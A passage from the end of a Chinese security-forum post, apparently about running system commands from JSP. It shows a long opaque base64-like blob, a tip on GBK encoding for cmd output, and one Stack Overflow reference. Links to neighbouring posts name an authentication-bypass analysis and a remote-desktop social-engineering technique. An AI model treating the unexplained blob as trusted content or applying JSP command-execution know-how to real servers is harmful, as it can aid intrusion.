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
|
|||
|
|
<p>gbk是为了避免cmd乱码问题,不过前提是jsp要指定编码<code><%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%></code>否则无效</p>
|
|||
|
|
<h2 id=toc-7>参考</h2>
|
|||
|
|
<p><a href=https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java/35446009#35446009 target=_blank>How do I read / convert an InputStream into a String in Java? - Stack Overflow</a></p>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class=post-user-action style=margin-top:34px>
|
|||
|
|
<span class="btn btn-default pull-right" id=mark data-action=topic data-pk=14518>
|
|||
|
|
<span id=mark-text>点击收藏 </span><span class=i-seprator> | </span><span id=mark-count>0</span>
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
<span class="btn btn-default pull-right" id=follow_topic data-pk=14518>
|
|||
|
|
<span>关注</span><span class=i-seprator> | </span><span id=follow-count>1</span>
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span class="btn btn-default pull-right">
|
|||
|
|
<span>
|
|||
|
|
|
|||
|
|
<span id=ready_reward data-toggle=modal data-target=#myModal>打赏</span>
|
|||
|
|
|
|||
|
|
</span>
|
|||
|
|
</span>
|
|||
|
|
|
|||
|
|
<div class=clearfix></div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class=related-section>
|
|||
|
|
<div class=related-box>
|
|||
|
|
|
|||
|
|
<span><a class=pull-left href=https://xz.aliyun.com/t/14517 title=".NET 某和OA办公系统全局绕过漏洞分析"><span class=related-label style="padding:3px 4px;margin-right:3px">上一篇:</span>.NET 某和OA办公系统全局绕过...</a></span>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<span><a class=pull-left href=https://xz.aliyun.com/t/14519 title=社工远程桌面新思路><span class=related-label>下一篇:</span>社工远程桌面新思路</a></span>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="modal fade" id=myModal role=dialog aria-labelledby=myModalLabel aria-hidden=true>
|
|||
|
|
<div class=modal-dialog>
|
|||
|
|
<div class=modal-content>
|
|||
|
|
<div class=modal-header>
|
|||
|
|
<h4 class=modal-title id=myModalLabel style=text-align:center>
|
|||
|
|
积分打赏
|
|||
|
|
</h4>
|
|||
|
|
</div>
|
|||
|
|
<div class=modal-body id=button-value>
|
|||
|
|
<div style=text-align:center>
|
|||
|
|
<div role=group>
|
|||
|
|
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type1>
|
|||
|
|
1分
|
|||
|
|
</button>
|
|||
|
|
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type2>
|
|||
|
|
2分
|
|||
|
|
</button>
|
|||
|
|
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type3>
|
|||
|
|
5分
|
|||
|
|
</button>
|
|||
|
|
</div>
|
|||
|
|
<br>
|
|||
|
|
<div style=margin-top:20px>
|
|||
|
|
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type4>
|
|||
|
|
8分
|
|||
|
|
</button>
|
|||
|
|
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type5>
|
|||
|
|
10分
|
|||
|
|
</button>
|
|||
|
|
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type6>
|
|||
|
|
20分
|
|||
|
|
</button>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class=modal-footer id=confirm>
|
|||
|
|
<button type=button class="btn btn-default" data-dismiss=modal>关闭</button>
|
|||
|
|
<button type=button class="btn btn-primary" id=reward_topic data-pk=14518>确定</button>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div class="row box">
|
|||
|
|
<ol class=breadcrumb>
|
|||
|
|
<li class=active>0 条回复</li>
|
|||
|
|
</ol>
|
|||
|
|
<div class="box-container post-container">
|
|||
|
|
|
|||
|
|
<ul>
|
|||
|
|
<li style=min-height:50px;line-height:60px;margin-left:15px><strong>动动手指,沙发就是你的了!</strong></li>
|
|||
|
|
</ul>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div class="row box" id=reply-box>
|
|||
|
|
|
|||
|
|
<div class="box-container clearfix">
|
|||
|
|
|
|||
|
|
<div class=reminder>
|
|||
|
|
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F14518&from_type=xianzhi"><strong>登录</strong></a> 后跟帖
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<footer class=bs-docs-footer>
|
|||
|
|
<div class="container text-center">
|
|||
|
|
<div class=links>
|
|||
|
|
<a href=https://xz.aliyun.com/feed target=_blank>RSS</a>
|
|||
|
|
<a href=https://xz.aliyun.com/about target=_blank><span>关于社区</span></a>
|
|||
|
|
<a href=https://xz.aliyun.com/partner target=_blank><span>友情链接</span></a>
|
|||
|
|
<a href=https://xz.aliyun.com/notice>社区小黑板</a>
|
|||
|
|
<a href=https://xz.aliyun.com/connection>联系我们</a>
|
|||
|
|
<a href=https://report.aliyun.com/ target=_blank>举报中心</a>
|
|||
|
|
<a href=https://www.aliyun.com/complaint target=_blank>我要投诉</a>
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
</footer>
|
|||
|
|
|
|||
|
|
|
|||
|
|
<div id=waf_nc_block style=display:none></div>
|